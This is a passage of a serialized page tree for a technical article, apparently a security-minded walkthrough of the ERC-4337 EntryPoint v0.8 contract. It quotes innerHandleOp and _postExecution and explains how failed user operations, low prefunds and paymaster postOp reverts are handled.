",{"type":23,"tag":134,"props":104806,"children":104807},{"style":168},[104808],{"type":28,"value":257},{"type":23,"tag":134,"props":104810,"children":104811},{"style":179},[104812],{"type":28,"value":104813}," preGas ",{"type":23,"tag":134,"props":104815,"children":104816},{"style":168},[104817],{"type":28,"value":1532},{"type":23,"tag":134,"props":104819,"children":104820},{"style":151},[104821],{"type":28,"value":104822}," gasleft",{"type":23,"tag":134,"props":104824,"children":104825},{"style":179},[104826],{"type":28,"value":13511},{"type":23,"tag":134,"props":104828,"children":104829},{"style":168},[104830],{"type":28,"value":1586},{"type":23,"tag":134,"props":104832,"children":104833},{"style":179},[104834],{"type":28,"value":104835}," opInfo.preOpGas;\n",{"type":23,"tag":134,"props":104837,"children":104838},{"class":136,"line":23039},[104839,104843,104847,104851],{"type":23,"tag":134,"props":104840,"children":104841},{"style":597},[104842],{"type":28,"value":102972},{"type":23,"tag":134,"props":104844,"children":104845},{"style":179},[104846],{"type":28,"value":103619},{"type":23,"tag":134,"props":104848,"children":104849},{"style":168},[104850],{"type":28,"value":257},{"type":23,"tag":134,"props":104852,"children":104853},{"style":179},[104854],{"type":28,"value":104855}," opInfo.prefund;\n",{"type":23,"tag":134,"props":104857,"children":104858},{"class":136,"line":23048},[104859,104864],{"type":23,"tag":134,"props":104860,"children":104861},{"style":264},[104862],{"type":28,"value":104863},"                _emitPrefundTooLow",{"type":23,"tag":134,"props":104865,"children":104866},{"style":179},[104867],{"type":28,"value":104868},"(opInfo);\n",{"type":23,"tag":134,"props":104870,"children":104871},{"class":136,"line":23090},[104872,104877,104882,104886],{"type":23,"tag":134,"props":104873,"children":104874},{"style":264},[104875],{"type":28,"value":104876},"                _emitUserOperationEvent",{"type":23,"tag":134,"props":104878,"children":104879},{"style":179},[104880],{"type":28,"value":104881},"(opInfo, ",{"type":23,"tag":134,"props":104883,"children":104884},{"style":151},[104885],{"type":28,"value":7634},{"type":23,"tag":134,"props":104887,"children":104888},{"style":179},[104889],{"type":28,"value":104890},", actualGasCost, actualGas);\n",{"type":23,"tag":134,"props":104892,"children":104893},{"class":136,"line":23123},[104894,104898,104902],{"type":23,"tag":134,"props":104895,"children":104896},{"style":179},[104897],{"type":28,"value":104617},{"type":23,"tag":134,"props":104899,"children":104900},{"style":168},[104901],{"type":28,"value":257},{"type":23,"tag":134,"props":104903,"children":104904},{"style":179},[104905],{"type":28,"value":104906}," actualGasCost;\n",{"type":23,"tag":134,"props":104908,"children":104909},{"class":136,"line":23131},[104910,104914,104918],{"type":23,"tag":134,"props":104911,"children":104912},{"style":179},[104913],{"type":28,"value":70104},{"type":23,"tag":134,"props":104915,"children":104916},{"style":189},[104917],{"type":28,"value":490},{"type":23,"tag":134,"props":104919,"children":104920},{"style":179},[104921],{"type":28,"value":463},{"type":23,"tag":134,"props":104923,"children":104924},{"class":136,"line":23139},[104925],{"type":23,"tag":134,"props":104926,"children":104927},{"style":179},[104928],{"type":28,"value":104313},{"type":23,"tag":134,"props":104930,"children":104931},{"class":136,"line":23148},[104932,104936,104940,104945],{"type":23,"tag":134,"props":104933,"children":104934},{"style":179},[104935],{"type":28,"value":104617},{"type":23,"tag":134,"props":104937,"children":104938},{"style":168},[104939],{"type":28,"value":257},{"type":23,"tag":134,"props":104941,"children":104942},{"style":264},[104943],{"type":28,"value":104944}," _postExecution",{"type":23,"tag":134,"props":104946,"children":104947},{"style":179},[104948],{"type":28,"value":642},{"type":23,"tag":134,"props":104950,"children":104951},{"class":136,"line":23224},[104952],{"type":23,"tag":134,"props":104953,"children":104954},{"style":179},[104955],{"type":28,"value":104956},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":134,"props":104958,"children":104959},{"class":136,"line":23257},[104960],{"type":23,"tag":134,"props":104961,"children":104962},{"style":179},[104963],{"type":28,"value":104964},"                    opInfo,\n",{"type":23,"tag":134,"props":104966,"children":104967},{"class":136,"line":23265},[104968],{"type":23,"tag":134,"props":104969,"children":104970},{"style":179},[104971],{"type":28,"value":104972},"                    context,\n",{"type":23,"tag":134,"props":104974,"children":104975},{"class":136,"line":23273},[104976],{"type":23,"tag":134,"props":104977,"children":104978},{"style":179},[104979],{"type":28,"value":104980},"                    actualGas\n",{"type":23,"tag":134,"props":104982,"children":104983},{"class":136,"line":23310},[104984],{"type":23,"tag":134,"props":104985,"children":104986},{"style":179},[104987],{"type":28,"value":104988},"                );\n",{"type":23,"tag":134,"props":104990,"children":104991},{"class":136,"line":23323},[104992],{"type":23,"tag":134,"props":104993,"children":104994},{"style":179},[104995],{"type":28,"value":58392},{"type":23,"tag":134,"props":104997,"children":104998},{"class":136,"line":23336},[104999],{"type":23,"tag":134,"props":105000,"children":105001},{"style":179},[105002],{"type":28,"value":524},{"type":23,"tag":134,"props":105004,"children":105005},{"class":136,"line":23349},[105006],{"type":23,"tag":134,"props":105007,"children":105008},{"style":179},[105009],{"type":28,"value":533},{"type":23,"tag":24,"props":105011,"children":105012},{},[105013,105015,105020,105022,105028,105030,105036,105038,105044],{"type":28,"value":105014},"During execution, the ",{"type":23,"tag":92,"props":105016,"children":105018},{"className":105017},[],[105019],{"type":28,"value":101775},{"type":28,"value":105021}," contract makes a ",{"type":23,"tag":31,"props":105023,"children":105026},{"href":105024,"rel":105025},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[35],[105027],{"type":28,"value":37794},{"type":28,"value":105029}," to its own ",{"type":23,"tag":92,"props":105031,"children":105033},{"className":105032},[],[105034],{"type":28,"value":105035},"innerHandleOp",{"type":28,"value":105037}," function through a low-level ",{"type":23,"tag":92,"props":105039,"children":105041},{"className":105040},[],[105042],{"type":28,"value":105043},"call()",{"type":28,"value":105045},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":105047,"children":105048},{},[105049,105051,105057,105058,105063,105065,105072,105074,105080],{"type":28,"value":105050},"If this call fails (when ",{"type":23,"tag":92,"props":105052,"children":105054},{"className":105053},[],[105055],{"type":28,"value":105056},"success",{"type":28,"value":4956},{"type":23,"tag":92,"props":105059,"children":105061},{"className":105060},[],[105062],{"type":28,"value":7634},{"type":28,"value":105064},"), the code enters an ",{"type":23,"tag":31,"props":105066,"children":105069},{"href":105067,"rel":105068},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[35],[105070],{"type":28,"value":105071},"error handling",{"type":28,"value":105073}," flow that checks the ",{"type":23,"tag":92,"props":105075,"children":105077},{"className":105076},[],[105078],{"type":28,"value":105079},"innerRevertCode",{"type":28,"value":105081},". There are three possible paths:",{"type":23,"tag":4890,"props":105083,"children":105084},{},[105085,105109,105127],{"type":23,"tag":4894,"props":105086,"children":105087},{},[105088,105089,105094,105095,105101,105103,105108],{"type":28,"value":6938},{"type":23,"tag":92,"props":105090,"children":105092},{"className":105091},[],[105093],{"type":28,"value":105079},{"type":28,"value":4956},{"type":23,"tag":92,"props":105096,"children":105098},{"className":105097},[],[105099],{"type":28,"value":105100},"INNER_OUT_OF_GAS",{"type":28,"value":105102},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":92,"props":105104,"children":105106},{"className":105105},[],[105107],{"type":28,"value":104752},{"type":28,"value":720},{"type":23,"tag":4894,"props":105110,"children":105111},{},[105112,105113,105118,105119,105125],{"type":28,"value":6938},{"type":23,"tag":92,"props":105114,"children":105116},{"className":105115},[],[105117],{"type":28,"value":105079},{"type":28,"value":4956},{"type":23,"tag":92,"props":105120,"children":105122},{"className":105121},[],[105123],{"type":28,"value":105124},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":105126},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":4894,"props":105128,"children":105129},{},[105130,105132,105138,105140,105146],{"type":28,"value":105131},"For any other revert reason, the code will still call ",{"type":23,"tag":92,"props":105133,"children":105135},{"className":105134},[],[105136],{"type":28,"value":105137},"_postExecution()",{"type":28,"value":105139}," but with ",{"type":23,"tag":92,"props":105141,"children":105143},{"className":105142},[],[105144],{"type":28,"value":105145},"PostOpMode.postOpReverted",{"type":28,"value":105147},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":105149,"children":105150},{},[105151,105153,105158,105160,105165,105167,105172,105174,105179],{"type":28,"value":105152},"We're particularly interested in the third error path, where ",{"type":23,"tag":92,"props":105154,"children":105156},{"className":105155},[],[105157],{"type":28,"value":105079},{"type":28,"value":105159}," is neither ",{"type":23,"tag":92,"props":105161,"children":105163},{"className":105162},[],[105164],{"type":28,"value":105100},{"type":28,"value":105166}," nor ",{"type":23,"tag":92,"props":105168,"children":105170},{"className":105169},[],[105171],{"type":28,"value":105124},{"type":28,"value":105173},". To understand this case better, let's examine how ",{"type":23,"tag":92,"props":105175,"children":105177},{"className":105176},[],[105178],{"type":28,"value":105035},{"type":28,"value":105180}," works.",{"type":23,"tag":87,"props":105182,"children":105184},{"className":1680,"code":105183,"language":1679,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[105185],{"type":23,"tag":92,"props":105186,"children":105187},{"__ignoreMap":7},[105188,105204,105225,105245,105261,105294,105301,105318,105342,105382,105401,105426,105460,105484,105501,105509,105517,105525,105533,105541,105548,105561,105578,105585,105592,105599,105610,105649,105665,105672],{"type":23,"tag":134,"props":105189,"children":105190},{"class":136,"line":137},[105191,105195,105200],{"type":23,"tag":134,"props":105192,"children":105193},{"style":151},[105194],{"type":28,"value":89343},{"type":23,"tag":134,"props":105196,"children":105197},{"style":264},[105198],{"type":28,"value":105199}," innerHandleOp",{"type":23,"tag":134,"props":105201,"children":105202},{"style":179},[105203],{"type":28,"value":642},{"type":23,"tag":134,"props":105205,"children":105206},{"class":136,"line":147},[105207,105212,105216,105221],{"type":23,"tag":134,"props":105208,"children":105209},{"style":597},[105210],{"type":28,"value":105211},"        bytes",{"type":23,"tag":134,"props":105213,"children":105214},{"style":151},[105215],{"type":28,"value":102592},{"type":23,"tag":134,"props":105217,"children":105218},{"style":162},[105219],{"type":28,"value":105220}," callData",{"type":23,"tag":134,"props":105222,"children":105223},{"style":179},[105224],{"type":28,"value":687},{"type":23,"tag":134,"props":105226,"children":105227},{"class":136,"line":185},[105228,105232,105236,105241],{"type":23,"tag":134,"props":105229,"children":105230},{"style":151},[105231],{"type":28,"value":104252},{"type":23,"tag":134,"props":105233,"children":105234},{"style":151},[105235],{"type":28,"value":102592},{"type":23,"tag":134,"props":105237,"children":105238},{"style":162},[105239],{"type":28,"value":105240}," opInfo",{"type":23,"tag":134,"props":105242,"children":105243},{"style":179},[105244],{"type":28,"value":687},{"type":23,"tag":134,"props":105246,"children":105247},{"class":136,"line":221},[105248,105252,105256],{"type":23,"tag":134,"props":105249,"children":105250},{"style":597},[105251],{"type":28,"value":105211},{"type":23,"tag":134,"props":105253,"children":105254},{"style":151},[105255],{"type":28,"value":102524},{"type":23,"tag":134,"props":105257,"children":105258},{"style":162},[105259],{"type":28,"value":105260}," context\n",{"type":23,"tag":134,"props":105262,"children":105263},{"class":136,"line":332},[105264,105269,105274,105278,105282,105286,105290],{"type":23,"tag":134,"props":105265,"children":105266},{"style":179},[105267],{"type":28,"value":105268},"    ) ",{"type":23,"tag":134,"props":105270,"children":105271},{"style":151},[105272],{"type":28,"value":105273},"external",{"type":23,"tag":134,"props":105275,"children":105276},{"style":189},[105277],{"type":28,"value":75505},{"type":23,"tag":134,"props":105279,"children":105280},{"style":179},[105281],{"type":28,"value":232},{"type":23,"tag":134,"props":105283,"children":105284},{"style":597},[105285],{"type":28,"value":45672},{"type":23,"tag":134,"props":105287,"children":105288},{"style":162},[105289],{"type":28,"value":103333},{"type":23,"tag":134,"props":105291,"children":105292},{"style":179},[105293],{"type":28,"value":14272},{"type":23,"tag":134,"props":105295,"children":105296},{"class":136,"line":438},[105297],{"type":23,"tag":134,"props":105298,"children":105299},{"style":179},[105300],{"type":28,"value":104313},{"type":23,"tag":134,"props":105302,"children":105303},{"class":136,"line":466},[105304,105309,105313],{"type":23,"tag":134,"props":105305,"children":105306},{"style":179},[105307],{"type":28,"value":105308},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":134,"props":105310,"children":105311},{"style":168},[105312],{"type":28,"value":257},{"type":23,"tag":134,"props":105314,"children":105315},{"style":179},[105316],{"type":28,"value":105317}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":134,"props":105319,"children":105320},{"class":136,"line":479},[105321,105325,105330,105334,105338],{"type":23,"tag":134,"props":105322,"children":105323},{"style":189},[105324],{"type":28,"value":444},{"type":23,"tag":134,"props":105326,"children":105327},{"style":179},[105328],{"type":28,"value":105329}," (callData.length ",{"type":23,"tag":134,"props":105331,"children":105332},{"style":168},[105333],{"type":28,"value":9927},{"type":23,"tag":134,"props":105335,"children":105336},{"style":205},[105337],{"type":28,"value":208},{"type":23,"tag":134,"props":105339,"children":105340},{"style":179},[105341],{"type":28,"value":14272},{"type":23,"tag":134,"props":105343,"children":105344},{"class":136,"line":497},[105345,105350,105355,105359,105364,105368,105373,105377],{"type":23,"tag":134,"props":105346,"children":105347},{"style":597},[105348],{"type":28,"value":105349},"            bool",{"type":23,"tag":134,"props":105351,"children":105352},{"style":179},[105353],{"type":28,"value":105354}," success ",{"type":23,"tag":134,"props":105356,"children":105357},{"style":168},[105358],{"type":28,"value":257},{"type":23,"tag":134,"props":105360,"children":105361},{"style":179},[105362],{"type":28,"value":105363}," Exec.",{"type":23,"tag":134,"props":105365,"children":105366},{"style":264},[105367],{"type":28,"value":37794},{"type":23,"tag":134,"props":105369,"children":105370},{"style":179},[105371],{"type":28,"value":105372},"(mUserOp.sender, ",{"type":23,"tag":134,"props":105374,"children":105375},{"style":205},[105376],{"type":28,"value":1224},{"type":23,"tag":134,"props":105378,"children":105379},{"style":179},[105380],{"type":28,"value":105381},", callData, callGasLimit);\n",{"type":23,"tag":134,"props":105383,"children":105384},{"class":136,"line":518},[105385,105389,105393,105397],{"type":23,"tag":134,"props":105386,"children":105387},{"style":189},[105388],{"type":28,"value":58308},{"type":23,"tag":134,"props":105390,"children":105391},{"style":179},[105392],{"type":28,"value":232},{"type":23,"tag":134,"props":105394,"children":105395},{"style":168},[105396],{"type":28,"value":20099},{"type":23,"tag":134,"props":105398,"children":105399},{"style":179},[105400],{"type":28,"value":104685},{"type":23,"tag":134,"props":105402,"children":105403},{"class":136,"line":527},[105404,105408,105413,105417,105422],{"type":23,"tag":134,"props":105405,"children":105406},{"style":597},[105407],{"type":28,"value":102972},{"type":23,"tag":134,"props":105409,"children":105410},{"style":179},[105411],{"type":28,"value":105412}," freePtr ",{"type":23,"tag":134,"props":105414,"children":105415},{"style":168},[105416],{"type":28,"value":257},{"type":23,"tag":134,"props":105418,"children":105419},{"style":264},[105420],{"type":28,"value":105421}," _getFreePtr",{"type":23,"tag":134,"props":105423,"children":105424},{"style":179},[105425],{"type":28,"value":856},{"type":23,"tag":134,"props":105427,"children":105428},{"class":136,"line":780},[105429,105433,105437,105442,105446,105450,105455],{"type":23,"tag":134,"props":105430,"children":105431},{"style":597},[105432],{"type":28,"value":104369},{"type":23,"tag":134,"props":105434,"children":105435},{"style":151},[105436],{"type":28,"value":102592},{"type":23,"tag":134,"props":105438,"children":105439},{"style":179},[105440],{"type":28,"value":105441}," result ",{"type":23,"tag":134,"props":105443,"children":105444},{"style":168},[105445],{"type":28,"value":257},{"type":23,"tag":134,"props":105447,"children":105448},{"style":179},[105449],{"type":28,"value":105363},{"type":23,"tag":134,"props":105451,"children":105452},{"style":264},[105453],{"type":28,"value":105454},"getReturnData",{"type":23,"tag":134,"props":105456,"children":105457},{"style":179},[105458],{"type":28,"value":105459},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":134,"props":105461,"children":105462},{"class":136,"line":797},[105463,105467,105472,105476,105480],{"type":23,"tag":134,"props":105464,"children":105465},{"style":189},[105466],{"type":28,"value":103032},{"type":23,"tag":134,"props":105468,"children":105469},{"style":179},[105470],{"type":28,"value":105471}," (result.length ",{"type":23,"tag":134,"props":105473,"children":105474},{"style":168},[105475],{"type":28,"value":9927},{"type":23,"tag":134,"props":105477,"children":105478},{"style":205},[105479],{"type":28,"value":208},{"type":23,"tag":134,"props":105481,"children":105482},{"style":179},[105483],{"type":28,"value":14272},{"type":23,"tag":134,"props":105485,"children":105486},{"class":136,"line":814},[105487,105492,105497],{"type":23,"tag":134,"props":105488,"children":105489},{"style":189},[105490],{"type":28,"value":105491},"                    emit",{"type":23,"tag":134,"props":105493,"children":105494},{"style":264},[105495],{"type":28,"value":105496}," UserOperationRevertReason",{"type":23,"tag":134,"props":105498,"children":105499},{"style":179},[105500],{"type":28,"value":642},{"type":23,"tag":134,"props":105502,"children":105503},{"class":136,"line":827},[105504],{"type":23,"tag":134,"props":105505,"children":105506},{"style":179},[105507],{"type":28,"value":105508},"                        opInfo.userOpHash,\n",{"type":23,"tag":134,"props":105510,"children":105511},{"class":136,"line":836},[105512],{"type":23,"tag":134,"props":105513,"children":105514},{"style":179},[105515],{"type":28,"value":105516},"                        mUserOp.sender,\n",{"type":23,"tag":134,"props":105518,"children":105519},{"class":136,"line":859},[105520],{"type":23,"tag":134,"props":105521,"children":105522},{"style":179},[105523],{"type":28,"value":105524},"                        mUserOp.nonce,\n",{"type":23,"tag":134,"props":105526,"children":105527},{"class":136,"line":868},[105528],{"type":23,"tag":134,"props":105529,"children":105530},{"style":179},[105531],{"type":28,"value":105532},"                        result\n",{"type":23,"tag":134,"props":105534,"children":105535},{"class":136,"line":877},[105536],{"type":23,"tag":134,"props":105537,"children":105538},{"style":179},[105539],{"type":28,"value":105540},"                    );\n",{"type":23,"tag":134,"props":105542,"children":105543},{"class":136,"line":946},[105544],{"type":23,"tag":134,"props":105545,"children":105546},{"style":179},[105547],{"type":28,"value":70581},{"type":23,"tag":134,"props":105549,"children":105550},{"class":136,"line":954},[105551,105556],{"type":23,"tag":134,"props":105552,"children":105553},{"style":264},[105554],{"type":28,"value":105555},"                _restoreFreePtr",{"type":23,"tag":134,"props":105557,"children":105558},{"style":179},[105559],{"type":28,"value":105560},"(freePtr);\n",{"type":23,"tag":134,"props":105562,"children":105563},{"class":136,"line":984},[105564,105569,105573],{"type":23,"tag":134,"props":105565,"children":105566},{"style":179},[105567],{"type":28,"value":105568},"                mode ",{"type":23,"tag":134,"props":105570,"children":105571},{"style":168},[105572],{"type":28,"value":257},{"type":23,"tag":134,"props":105574,"children":105575},{"style":179},[105576],{"type":28,"value":105577}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":134,"props":105579,"children":105580},{"class":136,"line":992},[105581],{"type":23,"tag":134,"props":105582,"children":105583},{"style":179},[105584],{"type":28,"value":58392},{"type":23,"tag":134,"props":105586,"children":105587},{"class":136,"line":1024},[105588],{"type":23,"tag":134,"props":105589,"children":105590},{"style":179},[105591],{"type":28,"value":524},{"type":23,"tag":134,"props":105593,"children":105594},{"class":136,"line":1032},[105595],{"type":23,"tag":134,"props":105596,"children":105597},{"emptyLinePlaceholder":15},[105598],{"type":28,"value":865},{"type":23,"tag":134,"props":105600,"children":105601},{"class":136,"line":1092},[105602,105606],{"type":23,"tag":134,"props":105603,"children":105604},{"style":189},[105605],{"type":28,"value":102628},{"type":23,"tag":134,"props":105607,"children":105608},{"style":179},[105609],{"type":28,"value":463},{"type":23,"tag":134,"props":105611,"children":105612},{"class":136,"line":8508},[105613,105617,105621,105625,105629,105633,105637,105641,105645],{"type":23,"tag":134,"props":105614,"children":105615},{"style":597},[105616],{"type":28,"value":102640},{"type":23,"tag":134,"props":105618,"children":105619},{"style":179},[105620],{"type":28,"value":104804},{"type":23,"tag":134,"props":105622,"children":105623},{"style":168},[105624],{"type":28,"value":257},{"type":23,"tag":134,"props":105626,"children":105627},{"style":179},[105628],{"type":28,"value":104813},{"type":23,"tag":134,"props":105630,"children":105631},{"style":168},[105632],{"type":28,"value":1532},{"type":23,"tag":134,"props":105634,"children":105635},{"style":151},[105636],{"type":28,"value":104822},{"type":23,"tag":134,"props":105638,"children":105639},{"style":179},[105640],{"type":28,"value":13511},{"type":23,"tag":134,"props":105642,"children":105643},{"style":168},[105644],{"type":28,"value":1586},{"type":23,"tag":134,"props":105646,"children":105647},{"style":179},[105648],{"type":28,"value":104835},{"type":23,"tag":134,"props":105650,"children":105651},{"class":136,"line":8526},[105652,105656,105660],{"type":23,"tag":134,"props":105653,"children":105654},{"style":189},[105655],{"type":28,"value":78588},{"type":23,"tag":134,"props":105657,"children":105658},{"style":264},[105659],{"type":28,"value":104944},{"type":23,"tag":134,"props":105661,"children":105662},{"style":179},[105663],{"type":28,"value":105664},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":134,"props":105666,"children":105667},{"class":136,"line":8571},[105668],{"type":23,"tag":134,"props":105669,"children":105670},{"style":179},[105671],{"type":28,"value":524},{"type":23,"tag":134,"props":105673,"children":105674},{"class":136,"line":8677},[105675],{"type":23,"tag":134,"props":105676,"children":105677},{"style":179},[105678],{"type":28,"value":533},{"type":23,"tag":24,"props":105680,"children":105681},{},[105682,105684,105689,105691,105696,105698,105704,105706,105712,105714,105719,105721,105731],{"type":28,"value":105683},"We observe that, in the happy path, ",{"type":23,"tag":92,"props":105685,"children":105687},{"className":105686},[],[105688],{"type":28,"value":105035},{"type":28,"value":105690}," is expected to not only execute the actual ",{"type":23,"tag":92,"props":105692,"children":105694},{"className":105693},[],[105695],{"type":28,"value":101694},{"type":28,"value":105697}," call, but also call ",{"type":23,"tag":92,"props":105699,"children":105701},{"className":105700},[],[105702],{"type":28,"value":105703},"_postExecution",{"type":28,"value":105705},". This means that the third failure handling path, which passes ",{"type":23,"tag":92,"props":105707,"children":105709},{"className":105708},[],[105710],{"type":28,"value":105711},"postOpReverted",{"type":28,"value":105713}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":92,"props":105715,"children":105717},{"className":105716},[],[105718],{"type":28,"value":105703},{"type":28,"value":105720}," call ",{"type":23,"tag":2532,"props":105722,"children":105723},{},[105724,105726],{"type":28,"value":105725},"inside ",{"type":23,"tag":92,"props":105727,"children":105729},{"className":105728},[],[105730],{"type":28,"value":105035},{"type":28,"value":720},{"type":23,"tag":24,"props":105733,"children":105734},{},[105735,105737,105742],{"type":28,"value":105736},"Let's examine the ",{"type":23,"tag":92,"props":105738,"children":105740},{"className":105739},[],[105741],{"type":28,"value":105703},{"type":28,"value":105743}," code to understand where the revert might occur.",{"type":23,"tag":87,"props":105745,"children":105747},{"className":1680,"code":105746,"language":1679,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[105748],{"type":23,"tag":92,"props":105749,"children":105750},{"__ignoreMap":7},[105751,105766,105791,105810,105829,105841,105878,105885,105917,105934,105949,105965,105989,106014,106038,106060,106078,106095,106103,106121,106137,106170,106188,106195,106202,106210,106226,106258,106280,106287,106294,106301],{"type":23,"tag":134,"props":105752,"children":105753},{"class":136,"line":137},[105754,105758,105762],{"type":23,"tag":134,"props":105755,"children":105756},{"style":151},[105757],{"type":28,"value":89343},{"type":23,"tag":134,"props":105759,"children":105760},{"style":264},[105761],{"type":28,"value":104944},{"type":23,"tag":134,"props":105763,"children":105764},{"style":179},[105765],{"type":28,"value":642},{"type":23,"tag":134,"props":105767,"children":105768},{"class":136,"line":147},[105769,105774,105778,105782,105787],{"type":23,"tag":134,"props":105770,"children":105771},{"style":151},[105772],{"type":28,"value":105773},"        IPaymaster",{"type":23,"tag":134,"props":105775,"children":105776},{"style":179},[105777],{"type":28,"value":720},{"type":23,"tag":134,"props":105779,"children":105780},{"style":162},[105781],{"type":28,"value":103304},{"type":23,"tag":134,"props":105783,"children":105784},{"style":162},[105785],{"type":28,"value":105786}," mode",{"type":23,"tag":134,"props":105788,"children":105789},{"style":179},[105790],{"type":28,"value":687},{"type":23,"tag":134,"props":105792,"children":105793},{"class":136,"line":185},[105794,105798,105802,105806],{"type":23,"tag":134,"props":105795,"children":105796},{"style":151},[105797],{"type":28,"value":104252},{"type":23,"tag":134,"props":105799,"children":105800},{"style":151},[105801],{"type":28,"value":102592},{"type":23,"tag":134,"props":105803,"children":105804},{"style":162},[105805],{"type":28,"value":105240},{"type":23,"tag":134,"props":105807,"children":105808},{"style":179},[105809],{"type":28,"value":687},{"type":23,"tag":134,"props":105811,"children":105812},{"class":136,"line":221},[105813,105817,105821,105825],{"type":23,"tag":134,"props":105814,"children":105815},{"style":597},[105816],{"type":28,"value":105211},{"type":23,"tag":134,"props":105818,"children":105819},{"style":151},[105820],{"type":28,"value":102592},{"type":23,"tag":134,"props":105822,"children":105823},{"style":162},[105824],{"type":28,"value":75852},{"type":23,"tag":134,"props":105826,"children":105827},{"style":179},[105828],{"type":28,"value":687},{"type":23,"tag":134,"props":105830,"children":105831},{"class":136,"line":332},[105832,105836],{"type":23,"tag":134,"props":105833,"children":105834},{"style":597},[105835],{"type":28,"value":89521},{"type":23,"tag":134,"props":105837,"children":105838},{"style":162},[105839],{"type":28,"value":105840}," actualGas\n",{"type":23,"tag":134,"props":105842,"children":105843},{"class":136,"line":438},[105844,105848,105853,105858,105862,105866,105870,105874],{"type":23,"tag":134,"props":105845,"children":105846},{"style":179},[105847],{"type":28,"value":105268},{"type":23,"tag":134,"props":105849,"children":105850},{"style":151},[105851],{"type":28,"value":105852},"internal",{"type":23,"tag":134,"props":105854,"children":105855},{"style":151},[105856],{"type":28,"value":105857}," virtual",{"type":23,"tag":134,"props":105859,"children":105860},{"style":189},[105861],{"type":28,"value":75505},{"type":23,"tag":134,"props":105863,"children":105864},{"style":179},[105865],{"type":28,"value":232},{"type":23,"tag":134,"props":105867,"children":105868},{"style":597},[105869],{"type":28,"value":45672},{"type":23,"tag":134,"props":105871,"children":105872},{"style":162},[105873],{"type":28,"value":103333},{"type":23,"tag":134,"props":105875,"children":105876},{"style":179},[105877],{"type":28,"value":14272},{"type":23,"tag":134,"props":105879,"children":105880},{"class":136,"line":466},[105881],{"type":23,"tag":134,"props":105882,"children":105883},{"style":179},[105884],{"type":28,"value":104313},{"type":23,"tag":134,"props":105886,"children":105887},{"class":136,"line":479},[105888,105892,105897,105901,105905,105909,105913],{"type":23,"tag":134,"props":105889,"children":105890},{"style":189},[105891],{"type":28,"value":58308},{"type":23,"tag":134,"props":105893,"children":105894},{"style":179},[105895],{"type":28,"value":105896}," (paymaster ",{"type":23,"tag":134,"props":105898,"children":105899},{"style":168},[105900],{"type":28,"value":8035},{"type":23,"tag":134,"props":105902,"children":105903},{"style":597},[105904],{"type":28,"value":5707},{"type":23,"tag":134,"props":105906,"children":105907},{"style":179},[105908],{"type":28,"value":272},{"type":23,"tag":134,"props":105910,"children":105911},{"style":205},[105912],{"type":28,"value":1224},{"type":23,"tag":134,"props":105914,"children":105915},{"style":179},[105916],{"type":28,"value":34691},{"type":23,"tag":134,"props":105918,"children":105919},{"class":136,"line":497},[105920,105925,105929],{"type":23,"tag":134,"props":105921,"children":105922},{"style":179},[105923],{"type":28,"value":105924},"                refundAddress ",{"type":23,"tag":134,"props":105926,"children":105927},{"style":168},[105928],{"type":28,"value":257},{"type":23,"tag":134,"props":105930,"children":105931},{"style":179},[105932],{"type":28,"value":105933}," 